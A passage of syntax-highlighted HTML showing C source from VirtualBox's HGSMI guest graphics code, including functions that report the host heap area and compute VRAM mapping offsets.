class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-273\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">fCaps<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-274\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-275\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxHGSMISendCapsInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">fCaps<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-276\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-277\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-278\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-279\"><span class=\"crayon-c\">\/** Tell the host about the location of the area of VRAM set aside for the host<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-280\"><span class=\"crayon-c\"> * heap. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-281\"><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxHGSMIReportHostArea<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PHGSMIGUESTCOMMANDCONTEXT <\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-282\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">u32AreaOffset<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">u32AreaSize<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-283\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-284\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBVAINFOHEAP *<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-285\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VINF_SUCCESS<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-286\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-287\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Allocate the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-288\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">VBVAINFOHEAP *<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-e\">VBoxHGSMIBufferAlloc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-289\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">VBVAINFOHEAP<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">HGSMI_CH_VBVA<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-290\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">VBVA_INFO_HEAP<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-291\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-292\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-293\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Prepare data to be sent to the host. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-294\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32HeapOffset<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u32AreaOffset<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-295\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">u32HeapSize<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">u32AreaSize<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-296\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIBufferSubmit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-297\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/* Free the IO buffer. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-298\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">VBoxHGSMIBufferFree<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pCtx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-299\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-300\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-301\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VERR_NO_MEMORY<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-302\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-303\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-304\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-305\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-306\"><span class=\"crayon-c\">\/**<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-307\"><span class=\"crayon-c\"> * Get the information needed to map the basic communication structures in<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-308\"><span class=\"crayon-c\"> * device memory into our address space.&nbsp;&nbsp;All pointer parameters are optional.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-309\"><span class=\"crayon-c\"> *<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-310\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;cbVRAM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; how much video RAM is allocated to the device<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-311\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;poffVRAMBaseMapping&nbsp;&nbsp;where to save the offset from the start of the<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-312\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;device VRAM of the whole area to map<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-313\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pcbMapping&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; where to save the mapping size<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-314\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;poffGuestHeapMemory&nbsp;&nbsp;where to save the offset into the mapped area<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-315\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;of the guest heap backing memory<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-316\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;pcbGuestHeapMemory&nbsp;&nbsp; where to save the size of the guest heap<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-317\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;backing memory<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-318\"><span class=\"crayon-c\"> * @param&nbsp;&nbsp;poffHostFlags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;where to save the offset into the mapped area<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-319\"><span class=\"crayon-c\"> *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;of the host flags<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-320\"><span class=\"crayon-c\"> *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-321\"><span class=\"crayon-e\">DECLHIDDEN<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">VBoxHGSMIGetBaseMappingInfo<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbVRAM<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-322\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">poffVRAMBaseMapping<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-323\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">pcbMapping<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-324\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">poffGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-325\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">pcbGuestHeapMemory<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-326\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">uint32_t *<\/span><span class=\"crayon-v\">poffHostFlags<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-327\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-328\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertPtrNullReturnVoid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">poffVRAMBaseMapping<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-329\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertPtrNullReturnVoid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pcbMapping<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-330\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertPtrNullReturnVoid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">poffGuestHeapMemory<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-331\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertPtrNullReturnVoid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pcbGuestHeapMemory<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-332\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">AssertPtrNullReturnVoid<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">poffHostFlags<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-333\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">poffVRAMBaseMapping<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-334\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">poffVRAMBaseMapping<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbVRAM<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBVA_ADAPTER_INFORMATION_SIZE<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-335\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pcbMapping<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-336\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pcbMapping<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBVA_ADAPTER_INFORMATION_SIZE<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-337\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">poffGuestHeapMemory<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-338\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">poffGuestHeapMemory<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-339\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pcbGuestHeapMemory<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-340\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">pcbGuestHeapMemory<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-v\">VBVA_ADAPTER_INFORMATION_SIZE<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-341\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">HGSMIHOSTFLAGS<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-342\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">poffHostFlags<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-343\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">poffHostFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-v\">VBVA_ADAPTER_INFORMATION_SIZE<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-344\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">HGSMIHOSTFLAGS<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-345\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e37d433429326-346\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37d433429326-347\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" 